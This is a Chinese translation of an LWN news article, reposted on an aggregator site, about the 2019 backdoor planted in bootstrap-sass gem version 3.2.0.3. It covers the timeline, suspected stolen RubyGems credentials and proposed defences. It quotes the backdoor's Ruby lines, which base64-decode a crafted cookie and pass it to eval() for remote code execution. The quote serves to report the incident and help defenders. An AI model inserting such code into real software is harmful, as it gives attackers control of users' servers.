[译] LWN: Ruby Gem 被埋入后门

栏目: Ruby · 发布时间: 4年前

内容简介:全文完极度欢迎将文章分享到朋友圈长按下面二维码关注:Linux News搬运工,希望每周的深度文章以及开源社区的各种新近言论,能够让大家满意~

A backdoor in a popular Ruby gem

By  Jake Edge April 10, 2019

题图: Photo by  Pixabay  from  Pexels

总有一些攻击者试图把后门安插进各个编程语言的软件包代码仓库里(例如,npm, PyPI,今天要提到的RubyGems),搞得跟奥林匹克竞赛差不多了。每次你不留神的时候,就会出来一个新的后门。这次 Ruby 用户就受害了,Ruby on Rails(一个web-application框架)里面的一个常用gem组件就被埋了一个远程调用的后门。

这里提到的是bootstrap-sass gem,主要是为Sass环境下提供了Bootstrap的面向移动设备的JavaScript library。因为它很容易加到各个网站上去,所以有很多很多网站都用了这个gem。尤其是按找现在的开发流程,各个gem之间有依赖关系,因此可能用户并没有主动选择添加这个gem,而是被其他包的依赖关系导致bootstrap-sass被选中安装到系统里,或者添加到cloud以及container的镜像image里面。最终在人们没有注意的情况下部署上线。而bootstrap-sass在3月下旬(2019年)被某个匿名攻击者加入了一个后门。

包含后门的release发布之后,很快被人发现了(不到一天)。攻击者可能是在3月26日之前,就把Version 3.2.0.2的bootstrap-sass gem从RubyGems仓库移除了。这样用户在3月26日安装RubyGems的话就会被选中3.2.0.3版本(包含后门漏洞的版本)。当天晚些时候Derek Barnes发现这个问题,报告给bootstrap-sass的GitHub issue tracker,此后一小时内这个恶意版本就从RubyGems移除了。虽然响应非常快,但是仍然给了恶意软件一个时间窗口来感染受害者。并且,由于gem删除的一些策略,导致这个时间窗口还被延长了额外一个星期,恶意版本也仍然可以用它的版本号来下载到。

后门代码看起来很明显。Snyk的邮件里面指出,代码藏在bootstrap-sass的lib/active-controller/middleware.rb文件里面。下面这几行,哪怕不熟悉Ruby的开发者也会觉得很奇怪:

x = Base64.urlsafe_decode64(e['http_cookie'.upcase].

scan(/___cfduid=(.+);/).flatten[0].to_s)
    eval(x) if x

这里的行为是把客户端的cookie采集下来,用base64 decode后直接执行eval(),这种行为普通人也能看出可疑来。"__cfduid" cookie是一个普通cookie,供Cloudflare所用,会由web server来decode饼执行。而这里用到的是“___cfduid" (三个下划线)cookie,专门供攻击软件malware使用。这段代码只有当Rails application在生产环境里面运行时才会执行。最终会把client发送过来的代码直接执行。github上有详细解读。

目前的猜测是gem的两个maintainer中的某一位的RubyGems 的登陆秘钥被窃取了,所以攻击者可以更新package并且删掉前一版本从而强制用户升级到恶意版本。不过,根据Barnes的调查,攻击者似乎没有权限对github的repository进行升级,不能打3.2.03的tag,也没有权限发布一个常见的release annoucement。所以,很幸运的说,攻击者只有RubyGems的登陆秘钥,缺少其他的秘钥,因此没有办法更好的隐藏他们的恶意代码。这也是Barnes能马上发现这个恶意代码的因素之一。

bootstrap-sass的维护者Mazovetskiy和Thomas McDonald讨论了一下怎样能让这些操作更安全,难以攻破。例如RubyGems目前没有记录是谁推送了这个恶意版本,也就无法查出究竟是哪位维护者的秘钥被窃取了。还有可以改进multi-factor authentication(MFA,多重登陆验证,例如用短信验证等)。

整体来说,这次的攻击影响很小。前面提到了这个漏洞很短的时间内就被发现和fix了。虽然这个gem很常用,不过这个后门攻击的时候没有选择目前的主流版本3.4.x分支,而是修改3.2.0.2这个版本,这是2014年9月的一个老版本了。

根据RubyGems的统计信息,3.2.0.2版本下载了120万次。3.2.0.3(后门版本)只下载了1477次,而修正版本3.2.0.4(其实跟3.2.0.2内容一致)也有1700次下载了。3.2系列以前也许用户很多,不过现在已经越来越少了。而目前最常用的分支是3.4分支,它的3.4.1版本是今年2月发布的,目前已经有250000次下载了。

尽管这个事件看起来影响很小,不过下一次被攻击的话就不一定了。在开源软件社区里面,我们需要找到方法来抵御这种攻击。只要今后一直有这种无人监管的软件更新和部署机制,就有可能碰到这样的攻击。大家要做的防护还很多,任重而道远。

全文完

极度欢迎将文章分享到朋友圈 

长按下面二维码关注:Linux News搬运工,希望每周的深度文章以及开源社区的各种新近言论,能够让大家满意~

[译] LWN: Ruby Gem 被埋入后门


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

拆掉互联网那堵墙

拆掉互联网那堵墙

庄良基 / 经济日报出版社 / 2014-6 / 25.80

都在说道互联网、说道电子商务、说道移动APP、说道微信、说道互联网金融......我们该如何认识互联网?中小微企业该如何借力互联网?互联网很神秘吗?很高深莫测吗? 其实互联网并没有什么神秘的,也没有什么高深莫测的!互联网无非是人类发明的工具而已,既然是工具,我们就一定可以驾驭和使用它。既然可以双重使用,就理当让所有有人都容易掌握并轻松驾驭。 互联网离我们很远吗?互联网界的成功故事都是那......一起来看看 《拆掉互联网那堵墙》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试